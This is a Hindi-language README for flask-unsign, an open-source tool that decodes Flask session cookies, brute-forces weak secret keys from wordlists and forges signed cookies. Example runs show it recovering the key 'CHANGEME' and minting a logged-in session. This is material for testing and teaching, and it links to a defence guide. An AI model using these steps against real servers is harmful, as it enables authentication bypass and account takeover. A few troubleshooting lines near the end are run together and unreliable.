
कमांड लाइन टूल जो गुप्त कुंजियों का अनुमान लगाकर Flask एप्लिकेशन की सत्र कुकीज़ को लाने, डीकोड करने, ब्रूट-फोर्स करने और तैयार करने के लिए है।
कमांड लाइन टूल जो Flask एप्लिकेशन की सत्र कुकीज़ को गुप्त कुंजियों का अनुमान लगाकर प्राप्त, डीकोड, ब्रूट-फोर्स और क्राफ्ट करता है। स्टैंडअलोन वर्डलिस्ट घटक के लिए, कृपया flask-unsign-wordlist रिपॉजिटरी देखें।
एप्लिकेशन को इंस्टॉल करने के लिए, बस pip का उपयोग करें:
$ pip3 install flask-unsign[wordlist]
यदि आप केवल कोर कोड इंस्टॉल करना चाहते हैं, तो [wordlist] प्रत्यय हटा दें:
$ pip3 install flask-unsign
विकास उद्देश्यों के लिए टूल इंस्टॉल करने हेतु, (एक कॉपी डाउनलोड करने के बाद) निम्न कमांड चलाएँ:
$ pip3 install -e .[test]
सभी संभावित विकल्पों का अवलोकन प्राप्त करने के लिए, बस flask-unsign को बिना किसी तर्क के कॉल करें, जैसे:
$ flask-unsign
चूँकि Flask कुकीज़ हस्ताक्षरित होती हैं और एन्क्रिप्टेड नहीं होती हैं, सत्र डेटा को स्थानीय रूप से डीकोड करना संभव है। इसके लिए, आप --decode तर्क का उपयोग कर सकते हैं।
सत्र कुकीज़ को आप Burp Proxy जैसे प्रॉक्सी का उपयोग करके, अपने ब्राउज़र के नेटवर्क इंस्पेक्टर का उपयोग करके, या अपनी कुकीज़ देखने/बदलने के लिए ब्राउज़र एक्सटेंशन का उपयोग करके अपने HTTP अनुरोधों का निरीक्षण करके प्राप्त कर सकते हैं। डिफ़ॉल्ट रूप से, Flask सत्र नाम "session" का उपयोग करता है।
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
आप --cookie तर्क के बजाय --server तर्क पास करके Flask-Unsign की स्वचालित सत्र-प्राप्ति कार्यक्षमता का भी उपयोग कर सकते हैं। हालाँकि, ध्यान रखें कि सभी वेब पेज सत्र वापस नहीं लौटा सकते, इसलिए सुनिश्चित करें कि आप ऐसा URL पास करें जो लौटाता है।
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
नमूना सत्र कुकी प्राप्त करने के बाद, आप सर्वर की गुप्त कुंजी को ब्रूट-फोर्स करने का प्रयास कर सकते हैं। यदि आप भाग्यशाली हैं, तो यह कुछ आसानी से अनुमान लगाने योग्य सेट हो सकती है, या यदि यह ऑनलाइन मिली है, तो यह आपकी किसी वर्डलिस्ट में हो सकती है। इसके लिए, आप --unsign तर्क का उपयोग कर सकते हैं।
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
एक बार जब आप सर्वर की गुप्त कुंजी प्राप्त कर लेते हैं, तो आप अपना स्वयं का कस्टम सत्र डेटा क्राफ्ट करने में सक्षम होंगे। इसके लिए, आप --sign तर्क का उपयोग कर सकते हैं।
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip बाइनरी का उपयोग कर रहे हो सकते हैं; निम्न कमांड का प्रयास करें:
python3.6 -m pip install flask-unsign--legacy विकल्प का उपयोग करने का प्रयास करें।--no-literal-eval तर्क पास करके इस सुविधा को अक्षम कर सकते हैं।यदि आप सोच रहे हैं कि यह वास्तव में कैसे काम करता है, तो मेरे ब्लॉग पोस्ट को देखें, जो इसे विस्तार से समझाता है, साथ ही आपके अपने सर्वर को इस हमले से कैसे बचाया जाए इसका एक गाइड भी शामिल है।
MIT License
Copyright (c) 2021 Luke Paris (Paradoxis)
किसी भी व्यक्ति को, जो इस सॉफ़्टवेयर और संबंधित दस्तावेज़ फ़ाइलों ("सॉफ़्टवेयर") की एक प्रति प्राप्त करता है, निःशुल्क अनुमति दी जाती है कि वह बिना किसी प्रतिबंध के सॉफ़्टवेयर से निपट सके, जिसमें बिना किसी सीमा के उपयोग, प्रतिलिपि, संशोधन, विलय, प्रकाशन, वितरण, उप-लाइसेंस और/या सॉफ़्टवेयर की प्रतियां बेचने के अधिकार शामिल हैं, तथा उन व्यक्तियों को अनुमति देने के लिए जिन्हें सॉफ़्टवेयर प्रदान किया गया है, निम्नलिखित शर्तों के अधीन ऐसा करने की अनुमति दी जाती है:
उपरोक्त कॉपीराइट नोटिस और यह अनुमति नोटिस सॉफ़्टवेयर की सभी प्रतियों या पर्याप्त भागों में शामिल किए जाएंगे।
सॉफ़्टवेयर "जैसा है" प्रदान किया जाता है, किसी भी प्रकार की वारंटी के बिना, व्यक्त या निहित, जिसमें व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और गैर-उल्लंघन की वारंटी शामिल हैं लेकिन इन्हीं तक सीमित नहीं हैं। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य दायित्व के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध, अपकृत्य या अन्यथा से उत्पन्न हो, चाहे वह सॉफ़्टवेयर से या सॉफ़्टवेयर के उपयोग या अन्य लेन-देन से संबंधित हो।